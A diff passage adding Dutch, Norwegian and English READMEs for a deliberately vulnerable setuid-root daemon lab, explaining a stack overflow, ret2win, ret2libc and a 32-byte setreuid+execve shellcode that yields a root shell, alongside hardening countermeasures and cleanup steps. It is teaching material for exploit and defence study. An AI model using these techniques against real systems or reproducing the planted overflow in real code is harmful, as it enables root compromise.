||||
|
||||
| Tegenmaatregel | Wat hij stopt | Wat hij *niet* stopt |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (canary) | De overloop: `ret` detecteert een beschadigde canary en aborted vóór het adres van de aanvaller wordt gebruikt. Stopt hier **alle vier** de technieken — ze delen het ene kwetsbare `read()`. | Niets aan *het ontwerp*: de binary is nog steeds setuid-root; een andere bug (format-string-`%n`, heap-overflow, use-after-free) heeft geen canary om af te laten gaan. |
|
||||
| `-fPIE -pie` (ASLR voor de binary) | Gebruik van voorspelbare `win()`/`win_root()`-adressen (de ret2win-technieken). | De shellcode-techniek, als er nog een stack-adres lekt (`BUF=`-regel). |
|
||||
| `-z noexecstack` (NX / W^X) | De shellcode: de CPU weigert instructies op te halen van een data-only-pagina, dus een sprong naar `buf` is een SIGSEGV. | ROP — code draaien die al bestaat (`ret2libc`). |
|
||||
| Alle drie samen | Een moeilijk-te-laten-overlopen, gerandomiseerde binary met een niet-uitvoerbare stack. Zo ziet een normale geharde build eruit. | De setuid-bit. **Een geharde SUID-binary is nog steeds een SUID-binary.** Overleeft er een bereikbare geheugenveiligheidsbug, dan is het nog steeds "bug in een root-proces". |
|
||||
|
||||
Het consolebewijs is `make test-hardened`, dat de geharde build inwisselt en
|
||||
laat zien hoe alle technieken bij de canary sterven, terwijl
|
||||
`foosd_hardened.log` `*** stack smashing detected ***` opvangt.
|
||||
|
||||
Twee tegenmaatregelen op ontwerpniveau die geen enkele compilerflag levert, en
|
||||
die het hoofdlaboratorium (`food`) ook gebruikt:
|
||||
|
||||
- **Minste privilege.** Een daemon voor een onbevoordeelde poort (2343 > 1024)
|
||||
heeft geen legitieme behoefte aan root. Een correcte `foosd` zou binden en
|
||||
daarna `setgroups`/`setgid`/`setuid` naar een onbevoorrechte account en
|
||||
*bevestigen dat het hield* (de correcte versie staat in de bron als
|
||||
`drop_privs()`, nooit aangeroepen — het niet-aanroepen is bug nr. 3 van het
|
||||
lab).
|
||||
- **Beperk de read.** `n = read(fd, buf, sizeof(buf) - 1)`. Eén correcte regel
|
||||
overtreft elke compilerflag in de tabel.
|
||||
|
||||
---
|
||||
|
||||
## 9. Het wire-protocol (zodat je de daemon met netcat kunt lezen)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — kon niet als `euid=`/`ruid=` geprint worden, omdat de
|
||||
test-harness een shell bewijst door op het letterlijke `uid=` te greppen, en
|
||||
het banner mag dat niet bevatten (een sonde die de handtekening met het
|
||||
antwoord deelt, is een klassieke fout-positief- val; zie de commentaar in
|
||||
`foosd.c`). De harness vereist bovendien de strikte `id`-outputvorm —
|
||||
`uid=NNN(...)` — zodat niets wat de daemon of het exploit print het aan
|
||||
toeval kan laten voldoen: `foosc`s eigen "target euid=… ruid=…" bevat `uid=`
|
||||
als deelstring, wat ooit een geharde test een shell liet melden die nooit had
|
||||
gedraaid.
|
||||
* `stack=`, `libc=`, `BUF=` — de ASLR-leaks: laten shellcode en ret2libc exacte
|
||||
adressen berekenen.
|
||||
|
||||
---
|
||||
|
||||
## 10. Oefeningen
|
||||
|
||||
1. **Beschouw de niet-root-degradatie.** Draai `make test` *vóór* `make
|
||||
setuid`, en daarna nog eens achteraf. Verklaar de `ROOT=SEEN`-verandering
|
||||
met het ruid/euid-verhaal in §5.2.
|
||||
2. **Lees de crash.** Draai `./foosc -t demo -n` en lees daarna `foosd.log`.
|
||||
De regel `RIP=0x4141414141414141` is de padding van de aanvaller — het bewijs
|
||||
dat de overloop, niet toeval, de uitvoering bestuurt.
|
||||
3. **Voeg de canary toe.** `make hardened` en verander zelf de
|
||||
`test-hardened`-lus; de logregel `*** stack smashing detected ***` is de
|
||||
verdediging die werkt.
|
||||
4. **Schakel het lek uit.** Commentaar de `BUF=`-regel in `foosd.c` uit, bouw
|
||||
opnieuw, en zie `-t shellcode` van deterministisch naar een raadspel
|
||||
veranderen. Die ene regel is de reden dat echte ASLR-bypasses een heel veld
|
||||
zijn.
|
||||
5. **Het `-p`-experiment.** Verander in een kopie van `win()`
|
||||
`execl("/bin/sh", "sh", NULL)` naar `execl("/bin/sh", "sh", "-p", NULL)` en
|
||||
observeer root. `-p` is de gedocumenteerde nooduitgang uit de wacht van de
|
||||
shell — en de reden dat het advies "spawn gewoon een shell" uit oude
|
||||
write-ups onvolledig is.
|
||||
6. **Waarom niet `setuid(0)`?** Herschrijf de shellcode om `setuid(0)` te
|
||||
roepen in plaats van `setreuid(0,0)` (syscall 105). De shell landt nog
|
||||
steeds — en zakt nog steeds naar `uid=1000`. Dat is het meest leerzame
|
||||
één-regel-experiment van het hele repository.
|
||||
|
||||
---
|
||||
|
||||
## 11. Veiligheid en opruimen
|
||||
|
||||
- Alleen loopback, als standaard en volgens ontwerp; `-L` bindt verder, en
|
||||
alleen een weg-te-gooien-VM zou het überhaupt moeten overwegen.
|
||||
- Dit is een root-shell-lab. Draai het niet op een machine die ertoe doet, en
|
||||
richt `foosc -h` niet op iets dat je niet bezit.
|
||||
- Opruimritueel: `make stop` en daarna `make unsetuid`, en als je de boom weer
|
||||
vlekkeloos wilt: `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
387
suid/README.NO.md
Normal file
387
suid/README.NO.md
Normal file
|
|
@ -0,0 +1,387 @@
|
|||
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
|
||||
|
||||
En ledsager til hovedlaboratoriet (`food` / `fooc`, en vanlig daemon der et
|
||||
bufferoverløp gir deg en *bruker*-shell). Dette legger til den farligste
|
||||
én-tegns-endringen i Unix: **setuid-biten**.
|
||||
|
||||
> `chmod u+s` forvandler «angriperen kan kjøre kode på denne verten» til
|
||||
> «angriperen kan kjøre kode som **root** på denne verten».
|
||||
|
||||
Den setningen er hele laboratoriet. Alt nedenfor er mekanismen under den, skrevet
|
||||
ned, slik at du når du skriver din egen programvare, vet nøyaktig hvilke to eller
|
||||
tre filsystem-attributter og kompilator-flag som avgjør om en
|
||||
minnesikkerhetsfeil i koden din er en irritasjon eller en root-shell.
|
||||
|
||||
Den endelige demoen, når `foosd` er setuid-root, er en **root-shell** som åpnes
|
||||
over nettverket ved å utføre 32 bytes håndskrevet shellcode.
|
||||
|
||||
---
|
||||
|
||||
## 1. Hva setuid-biten faktisk gjør
|
||||
|
||||
Hver prosess på Linux bærer tre user-ID-er, og setuid-biten tukler med forholdet
|
||||
mellom dem:
|
||||
|
||||
| ID | Navn | Betydning |
|
||||
|----|------|---------|
|
||||
| `ruid` | reell user-ID | kontoen som *startet* prosessen |
|
||||
| `euid` | effektiv user-ID | det kjernen sjekker når den håndhever tilgang |
|
||||
| (saved) | lagret set-user-ID | en «sporplass» en privilegert prosess kan vende tilbake til senere |
|
||||
|
||||
Et vanlig program har `ruid == euid`. Når du kjører en binærfil med
|
||||
setuid-biten satt, eid av root:
|
||||
|
||||
```text
|
||||
ruid = deg (f.eks. 1000, «hanez»)
|
||||
euid = eieren (f.eks. 0, «root»)
|
||||
```
|
||||
|
||||
Prosessen har derfor **roots autoritet**, selv om brukeren som startet den er
|
||||
helt vanlig. Hvert sjekkpunkt kjernen utfører — kan denne prosessen lese
|
||||
`/etc/shadow`? skrive en fil? drepe en annen prosess? — besvares med `euid`,
|
||||
altså «ja, den er root».
|
||||
|
||||
`foosd` er en nettverksdaemon. Den binder en port og `fork()`er deretter et
|
||||
barn per tilkobling. En fork *arver* euid-en, så hvert barn som håndterer en
|
||||
tilkobling er også root. Overløpet i `foosd`s `vulnerable_handler()` er derfor
|
||||
et overløp *inne i en root-prosess*.
|
||||
|
||||
**Diagnostiser det selv når daemonen kjører:**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # se logglinjen den skriver ut ved start
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
og fra exploitet:
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Laboratoriet ved første øyekast
|
||||
|
||||
| Fil | Rolle |
|
||||
|------|------|
|
||||
| `foosd.c` | Den bevisst sårbare daemonen (eier feilene). Kjør som *setuid-root*-binærfil for root-shell-demoen. |
|
||||
| `foosc.c` | Exploitet. Bruker som standard den 32-byte `setreuid + execve`-shellcode-teknikken. |
|
||||
| `shellcode.S` | Referanse-shellcoden; `make verify` diff'er den mot byte-arrayen i `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gjennom et pseudo-terminal og beviser både «en shell kjørte» *og* «den var root» (`uid=0(`). |
|
||||
| `Makefile` | Bygg, `setuid`/`unsetuid`-hjelpere, testmatrise. |
|
||||
| `README.md` | Denne filen. |
|
||||
|
||||
> **Hvorfor en pty?** Exploitets siste handling er å videresende terminalen din
|
||||
> til shellen som kjører på offeret. En pipe eller her-doc havner i feil ende av
|
||||
> den videresendingen; en ekte terminal er påkrevd.
|
||||
|
||||
---
|
||||
|
||||
## 3. Rask start
|
||||
|
||||
```console
|
||||
$ make # bygg alt, som din vanlige bruker
|
||||
$ make setuid # én gang, spør om sudo: chown root + chmod u+s
|
||||
$ make run # start foosd på 127.0.0.1:2343
|
||||
$ make test-suid # full matrise; shellcode + ret2win-root skal gi root
|
||||
```
|
||||
|
||||
Interaktiv røykprøve:
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
|
||||
# exit
|
||||
```
|
||||
|
||||
Når du er ferdig:
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # hygiene: etterlat aldri en root-SUID-binærfil
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *Når skal jeg sette SUID-biten?* — svaret du ba om
|
||||
|
||||
Nøyaktig **én gang, etter byggingen, før du starter daemonen for
|
||||
root-shell-demoene** — og bare på en maskin som er din, egnet til å kastes og
|
||||
frakoblet nettverket:
|
||||
|
||||
```console
|
||||
$ make # kompiler foosd, foosc, tester
|
||||
$ make setuid # <-- ØYEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # start ETTER at du har satt biten
|
||||
```
|
||||
|
||||
To regler som betyr mer enn det nøyaktige tidspunktet:
|
||||
|
||||
1. **Sett den bare når binærfilen er ferdig.** Hvis du bygger om (`make` /
|
||||
`make clean`) etter at du har satt biten, treffer du «Permission denied» når
|
||||
du skriver root-eide utdatafiler — og hvis du tvinger ombyggingen, gjenskaper
|
||||
verktøykjeden filen **uten** `s`-en og angrer stille og rolig oppsettet. Den
|
||||
kanoniske rekkefølgen ved enhver ombygging er derfor
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Fjern den når du er ferdig.** `make unsetuid`. En levende,
|
||||
root-eid setuid-binærfil med en utnyttbar feil i treet ditt er ikke et
|
||||
læremiddel, det er et root-hull med en kompileringsfeil mellom seg og
|
||||
ingenting. På en delt eller produksjonsmaskin: **ikke gjør noe av dette.**
|
||||
Daemonen nekter dessuten som standard å binde noe annet enn loopback (se §7).
|
||||
|
||||
Hvis du kjører exploitet *uten* noen gang å sette biten, går ingenting i stykker
|
||||
— payloaden lander fortsatt, og du får fortsatt en shell. Forskjellen er i ett
|
||||
tall, og exploitet sier det høyt:
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
«Virket, men ikke root»-resultatet er selv en del av laboratoriet. Husk det til
|
||||
neste avsnitt.
|
||||
|
||||
---
|
||||
|
||||
## 5. Mekanismen — og vrien som gjør SUID interessant
|
||||
|
||||
### 5.1 Overløpet (identisk med `food`)
|
||||
|
||||
`foosd`s handler gir et `read()` 512 bytes tillit, mens den rekker den et
|
||||
64-byte stack-buffer:
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
|
||||
```
|
||||
|
||||
På x86-64 vokser stacken nedover. Exploitet skriver 64 bytes søppel for å fylle
|
||||
`buf`, 8 for å fylle den lagrede rammepekeren og 8 til for å erstatte den
|
||||
**lagrede returadressen**. Når `vulnerable_handler` utfører `ret`, popper CPU-en
|
||||
angriperens verdi inn i `RIP` — angriperkontrollert kodeutførelse. Exploitet
|
||||
finner den nøyaktige avstanden (88 bytes for denne builden) ved å parse
|
||||
`objdump`-utdata i stedet for å hardkode den, så tallet overlever ombygginger.
|
||||
|
||||
### 5.2 Vrien: shellen nekter å være root
|
||||
|
||||
Her er det der å tenke «SUID-feil → spawn /bin/sh → root» ville gått galt, og
|
||||
hvorfor dette laboratoriet har nøyaktig den formen det har.
|
||||
|
||||
Når et setuid-root-program kjører, er `ruid` fortsatt den startende brukeren, og
|
||||
`euid` er root. Hvis programmet — eller angriperen — nå starter en shell:
|
||||
|
||||
* `execve("/bin/sh")` endrer **ikke** u-id-ene; den nye prosessen arver
|
||||
`(ruid=1000, euid=0)`.
|
||||
* bash (og dash) **sjekker nøyaktig den tilstanden ved start**. Fra
|
||||
bash-manualen: *«If the shell is started with the effective user (group) id
|
||||
not equal to the real user (group) id, and the -p option is not supplied, …
|
||||
the effective user id is set to the real user id.»*
|
||||
|
||||
Så shellen ser på seg selv og *dropper root* — et forsvar
|
||||
shell-forfatterne bygde nøyaktig mot dette angrepet (den historiske
|
||||
begrunnelsen var setuid-shell-/setuid-skript-problemet). Resultatet er
|
||||
«virket, men ikke root»-tilfellene:
|
||||
|
||||
| Teknikk | Hva den utfører | Resulterende uid |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landet, root nullstilt av bash |
|
||||
| `ret2libc` | `system("/bin/sh")` → fersk `sh -c '/bin/sh'` | **1000** — samme nullstilling, ett nivå ned |
|
||||
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
|
||||
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
|
||||
|
||||
De to som når root, skiller seg fra de to som ikke gjør det, med nøyaktig én idé:
|
||||
**de rydder den *reelle* uid-en, ikke bare den effektive.**
|
||||
|
||||
```c
|
||||
setuid(0) /* setter euid til 0, men ruid forblir 1000:
|
||||
bash ser fortsatt euid != ruid og nullstiller FORTSATT. */
|
||||
setreuid(0, 0) /* setter BEGGE: ruid = euid = 0.
|
||||
bash ser like uid-er og beholder root. */
|
||||
```
|
||||
|
||||
Det er derfor den klassiske `/bin/sh`-shellcoden du finner overalt på nettet,
|
||||
starter med et uid-ryddende syscall — og grunnen til at shellcoden her er 32
|
||||
bytes i stedet for 23: de første fem instruksjonene er
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 Så hva er exploitet, fra ende til annen?
|
||||
|
||||
1. `foosc` leser `foosd`s banner over socketen. Det får:
|
||||
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
|
||||
- `stack=…` og `libc=…` — pekere (ASLR-leaksene)
|
||||
- `BUF=…` — den nøyaktige adressen på bufferen den er i ferd med å renne over
|
||||
2. Fra målbinærfilen (via `objdump`) lærer det `rip_off` og adressene til
|
||||
`win()` / `win_root()`.
|
||||
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et minnesøk) måler det
|
||||
offsetene for `system`, `read`, `/bin/sh` og et `pop rdi; ret`-gadget —
|
||||
ingenting er hardkodet.
|
||||
4. Det setter sammen payloaden. For `-t shellcode` er det:
|
||||
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
|
||||
5. `foosd`s `read()` renner over; `ret` lander på shellcoden; kjernen utfører
|
||||
`setreuid(0,0)` (helt greit: euid 0 er privilegert) og deretter `execve` av
|
||||
`/bin/sh`. bash starter med `ruid == euid == 0` og forblir root.
|
||||
6. `foosc` videresender terminalen din til den root-shellen, til du skriver
|
||||
`exit`.
|
||||
|
||||
Én bekvemmelighetsdetalj som koster folk mye tid hvis den overses: exploitet
|
||||
tester hver uid-ryddende adferd **uten** først å trenge setuid-biten. Kjør
|
||||
`make test` før `make setuid`, så ser du hver teknikk lande en shell mens
|
||||
`ROOT=MISSING` står; kjør `make test-suid` etter `make setuid`, så dukker
|
||||
`ROOT=SEEN` opp ved de to teknikkene som rydder den reelle uid-en. Den A/B-en er
|
||||
hele leksjonen, utført på ti sekunder.
|
||||
|
||||
---
|
||||
|
||||
## 6. De gamle one-linerne — og hvorfor de fleste av dem er døde
|
||||
|
||||
Har du lest om SUID, har du lest om `PATH`-kapring, `LD_PRELOAD` og
|
||||
setuid-shells. Alle tre er klassiske, og alle tre feiler på et moderne system
|
||||
mot *dette programmet*. Det er verdt å vite nøyaktig hvorfor, fordi grunnene er
|
||||
forsvarene du får gratis:
|
||||
|
||||
| Angrepsklasse | Gammel påstand | Hvorfor den feiler på en moderne maskin |
|
||||
|--------------|-----------|------------------------------|
|
||||
| `LD_PRELOAD` av et ondsinnet bibliotek | «Setuid-programmet laster min `.so` og kjører koden min som root.» | Kjernen merker en setuid-binærfil som **AT_SECURE**; glibc ignorerer deretter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *upålitelig input*. `LD_PRELOAD` mot en setuid-binærfil er en no-op. |
|
||||
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | «Pek PATH mot en mappe med min falske `ls`; root-programmet kjører den.» | Et annet ansikt av samme forsvar: en AT_SECURE-prosess får en **sanert `PATH`** (en sikker standard, omtrent `/usr/local/bin:/usr/bin:/bin`) for `system()`/`execvp`, så den forgiftede mappen konsulteres aldri. |
|
||||
| Setuid-`system()`-kommandoinjeksjon | «Den injiserte kommandoen kjører med euid 0.» | `system()` kjører kommandoen i en fersk `/bin/sh`, og den shellen — §5.2 — nullstiller `euid = ruid` ved start. Den injiserte kommandoen utføres med den *reelle* uid-en. (Det er fortsatt en feil; den eskalerer bare ikke lenger gjennom `/bin/sh`.) |
|
||||
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | «Kjør den, få root.» | Nøyaktig forsvaret ovenfor, og det er grunnen til at moderne distroer ikke leverer noen setuid-root-shell. Selv når du lykkes med å lage én, nekter bash å beholde euid 0 med mindre den startes med `-p`. |
|
||||
|
||||
Det som forblir i live, og det er dette laboratoriet: **programmet er *allerede*
|
||||
root når det kjører.** Du trenger ikke miljøet eller `system()`; du trenger at
|
||||
programmet utfører *din* kode (via en minnekorrupsjonsfeil) mens det er
|
||||
privilegert, og at koden din er omhyggelig nok til selv å rette opp
|
||||
uid-mismatchen — `setreuid(0,0)` — før den overrekker deg en shell.
|
||||
Minnekorrupsjon + SUID er kombinasjonen som fortsatt ender i `uid=0`, noe som er
|
||||
nøyaktig hvorfor minnesikre språk, canaries og no-execute-stacker ikke er en
|
||||
moteavgjørelse.
|
||||
|
||||
---
|
||||
|
||||
## 7. Sikkerhetsgelenderne som er bygget inn i daemonen
|
||||
|
||||
`foosd` er bevisst det *dårligste* stykket programvare i dette repositoriet, så
|
||||
det bærer også flest gelendere:
|
||||
|
||||
1. **Bare loopback, håndhevet.** `foosd` nekter enhver bind-adresse utenom
|
||||
loopback, med mindre du gir `-L`. En setuid-root-listener på et ekte
|
||||
grensesnitt er en fjern root-tjeneste; avslaget er standarden, så den
|
||||
farlige tilstanden må skrives inn bevisst.
|
||||
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kjører som
|
||||
root, så konsollen viser den tilstanden exploitet avhenger av.
|
||||
3. **Loggen når aldri klienten.** Daemonen reserverer en privat
|
||||
logg-descriptor før sockets erstatter fd 1, så crash-reporter-utdata og
|
||||
interne stier ikke kan leses tilbake over ledningen av angriperen.
|
||||
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den verdien
|
||||
angriperen skrev inn i returadressen — så en vellykket kapring er synlig i
|
||||
`foosd.log` i stedet for å være en stille død.
|
||||
5. **`make unsetuid`.** Fjerning av biten er scriptet, fordi å etterlate den
|
||||
satt er feiltilstanden folk faktisk har.
|
||||
|
||||
---
|
||||
|
||||
## 8. Mottiltak — hva hvert stopper, og hva det *ikke* stopper
|
||||
|
||||
Anvendt på `foosd` via `make hardened`, én om gangen eller sammen:
|
||||
|
||||
| Mottiltak | Hva det stopper | Hva det *ikke* stopper |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (canary) | Overløpet: `ret` oppdager en smadret canary og aborter, før angriperens adresse brukes. Stopper her **alle fire** teknikkene — de deler det ene sårbare `read()`-et. | Ingenting ved *designet*: binærfilen er fortsatt setuid-root; en annen feil (format-streng-`%n`, heap-overflow, use-after-free) har ingen canary å utløse. |
|
||||
| `-fPIE -pie` (ASLR for binærfilen) | Bruk av forutsigbare `win()`/`win_root()`-adresser (ret2win-teknikkene). | Shellcode-teknikken, hvis en stack-adresse fortsatt lekker (`BUF=`-linjen). |
|
||||
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU-en nekter å hente instruksjoner fra en data-only-side, så et hopp til `buf` er et SIGSEGV. | ROP — å kjøre kode som allerede finnes (`ret2libc`). |
|
||||
| Alle tre sammen | En vanskelig-å-renne-over, randomisert binærfil med ikke-kjørbar stack. Slik ser en normal hardet build ut. | Setuid-biten. **En hardet SUID-binærfil er fortsatt en SUID-binærfil.** Hvis noen nåbar minnesikkerhetsfeil overlever, er det fortsatt «feil i en root-prosess». |
|
||||
|
||||
Konsollbeviset er `make test-hardened`, som bytter den hardnede builden inn og
|
||||
viser alle teknikkene dø ved canaryen, mens `foosd_hardened.log` fanger
|
||||
`*** stack smashing detected ***`.
|
||||
|
||||
To mottiltak på designnivå som ingen kompilator-flag leverer, og som
|
||||
hovedlaboratoriet (`food`) også bruker:
|
||||
|
||||
- **Minste privilegium.** En daemon for en uprivilegert port (2343 > 1024) har
|
||||
intet legitimt behov for root. En korrekt `foosd` ville binde og deretter
|
||||
`setgroups`/`setgid`/`setuid` til en uprivilegert konto og *bekrefte at det
|
||||
holdt* (den korrekte versjonen står i kilden som `drop_privs()`, aldri kalt —
|
||||
ikke-kallingen er laboratoriets feil nr. 3).
|
||||
- **Begrens read-et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
|
||||
overgår hvert kompilator-flag i tabellen.
|
||||
|
||||
---
|
||||
|
||||
## 9. Wire-protokollen (så du kan lese daemonen med netcat)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — kunne ikke skrives ut som `euid=`/`ruid=`, fordi
|
||||
test-harnessen beviser en shell ved å greppe etter det bokstavelige `uid=`, og
|
||||
banneret må ikke inneholde det (en sonde som deler signatur med svaret, er en
|
||||
klassisk falsk-positiv-felle; se kommentaren i `foosd.c`). Harnessen krever
|
||||
dessuten den strenge `id`-utdataformen — `uid=NNN(...)` — så ingenting
|
||||
daemonen eller exploitet skriver ut kan oppfylle sjekken ved en tilfeldighet:
|
||||
`foosc`s eget «target euid=… ruid=…» inneholder `uid=` som delstreng, noe som
|
||||
en gang fikk en hardnet test til å melde en shell som aldri hadde kjørt.
|
||||
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lar shellcode og ret2libc beregne
|
||||
eksakte adresser.
|
||||
|
||||
---
|
||||
|
||||
## 10. Øvelser
|
||||
|
||||
1. **Betrakt ikke-root-nedgraderingen.** Kjør `make test` *før* `make setuid`,
|
||||
og deretter igjen etterpå. Forklar `ROOT=SEEN`-endringen med
|
||||
ruid/euid-historien i §5.2.
|
||||
2. **Les krasjet.** Kjør `./foosc -t demo -n` og les deretter `foosd.log`.
|
||||
Linjen `RIP=0x4141414141414141` er angriperens padding — beviset på at
|
||||
overløpet, ikke uhell, kontrollerer utførelsen.
|
||||
3. **Legg til canaryen.** `make hardened` og endre selv `test-hardened`-løkken;
|
||||
logglinjen `*** stack smashing detected ***` er forsvaret som virker.
|
||||
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ut, bygg om, og se
|
||||
`-t shellcode` gå fra deterministisk til et gjettespill. Den ene linjen er
|
||||
grunnen til at ekte ASLR-bypasser er et helt felt.
|
||||
5. **`-p`-eksperimentet.** Endre i en kopi av `win()` `execl("/bin/sh", "sh",
|
||||
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
|
||||
den dokumenterte nødutgangen fra shellens vakt — og grunnen til at rådet
|
||||
«spawn bare en shell» fra gamle write-ups er ufullstendig.
|
||||
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til å kalle `setuid(0)`
|
||||
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander fortsatt — og
|
||||
faller fortsatt til `uid=1000`. Det er det mest lærerike
|
||||
én-linjes-eksperimentet i hele repositoriet.
|
||||
|
||||
---
|
||||
|
||||
## 11. Sikkerhet og opprydding
|
||||
|
||||
- Bare loopback, som standard og etter design; `-L` binder lenger, og bare en
|
||||
egnet-til-å-kastes VM bør i det hele tatt vurdere det.
|
||||
- Dette er et root-shell-laboratorium. Ikke kjør det på en maskin som betyr
|
||||
noe, og pek ikke `foosc -h` mot noe du ikke eier.
|
||||
- Oppryddingsritual: `make stop` og deretter `make unsetuid`, og hvis du vil ha
|
||||
treet plettfritt igjen: `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
388
suid/README.md
Normal file
388
suid/README.md
Normal file
|
|
@ -0,0 +1,388 @@
|
|||
# SUID-Root RCE Lab — `foosd` (daemon) + `foosc` (exploit)
|
||||
|
||||
A companion to the parent lab (`food` / `fooc`, a plain daemon where a buffer
|
||||
overflow gives you a *user* shell). This one adds the most dangerous
|
||||
one-character change in Unix: the **setuid bit**.
|
||||
|
||||
> `chmod u+s` turns "the attacker can run code on this host" into "the
|
||||
> attacker can run code as **root** on this host".
|
||||
|
||||
That sentence is the entire lab. Everything below is the mechanism underneath
|
||||
it, written down so that when you write your own software you know exactly
|
||||
which two or three filesystem attributes and compiler flags decide whether a
|
||||
memory-safety bug in your code is a nuisance or a root shell.
|
||||
|
||||
The final demo, when `foosd` is setuid-root, is a **root shell** opened over
|
||||
the network by executing 32 bytes of hand-written shellcode.
|
||||
|
||||
---
|
||||
|
||||
## 1. What the setuid bit actually does
|
||||
|
||||
Every process on Linux carries three user IDs, and the setuid bit tinkers
|
||||
with the relationship between them:
|
||||
|
||||
| ID | Name | Meaning |
|
||||
|----|------|---------|
|
||||
| `ruid` | real user ID | the account that *started* the process |
|
||||
| `euid` | effective user ID | what the kernel checks when enforcing access |
|
||||
| (saved) | saved set-user-ID | a "slot" a privileged process may return to later |
|
||||
|
||||
A normal program has `ruid == euid`. When you execute a binary with the
|
||||
setuid bit set and owned by root:
|
||||
|
||||
```text
|
||||
ruid = you (e.g. 1000, "hanez")
|
||||
euid = the owner (e.g. 0, "root")
|
||||
```
|
||||
|
||||
The process therefore has **root's authority** even though the user who
|
||||
launched it is completely ordinary. Every check the kernel performs — can
|
||||
this process read `/etc/shadow`? write a file? kill another process? — is
|
||||
answered using `euid`, i.e. "yes, it's root".
|
||||
|
||||
`foosd` is a network daemon. It binds a port, then `fork()`s a child per
|
||||
connection. A fork *inherits* the euid, so every child that handles a
|
||||
connection is also root. The overflow in `foosd`'s `vulnerable_handler()` is
|
||||
therefore an overflow *inside a root process*.
|
||||
|
||||
**Diagnose it yourself once the daemon runs:**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # see the log line it prints at startup
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
and from the exploit:
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. The lab at a glance
|
||||
|
||||
| File | Role |
|
||||
|------|------|
|
||||
| `foosd.c` | The intentionally vulnerable daemon (owns the bugs). Run as a *setuid-root* binary for the root-shell demo. |
|
||||
| `foosc.c` | The exploit. Defaults to the 32-byte `setreuid + execve` shellcode technique. |
|
||||
| `shellcode.S` | The reference shellcode; `make verify` diffs it against the byte array in `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Test harness. Drives `foosc` through a pseudo-terminal and proves *both* "a shell ran" *and* "it was root" (`uid=0(`). |
|
||||
| `Makefile` | Build, `setuid`/`unsetuid` helpers, test matrix. |
|
||||
| `README.md` | This file. |
|
||||
|
||||
> **Why a pty?** The exploit's last act is to relay your terminal to the
|
||||
> shell executing on the victim. A pipe or here-doc lands on the wrong end of
|
||||
> that relay; a real terminal is required.
|
||||
|
||||
---
|
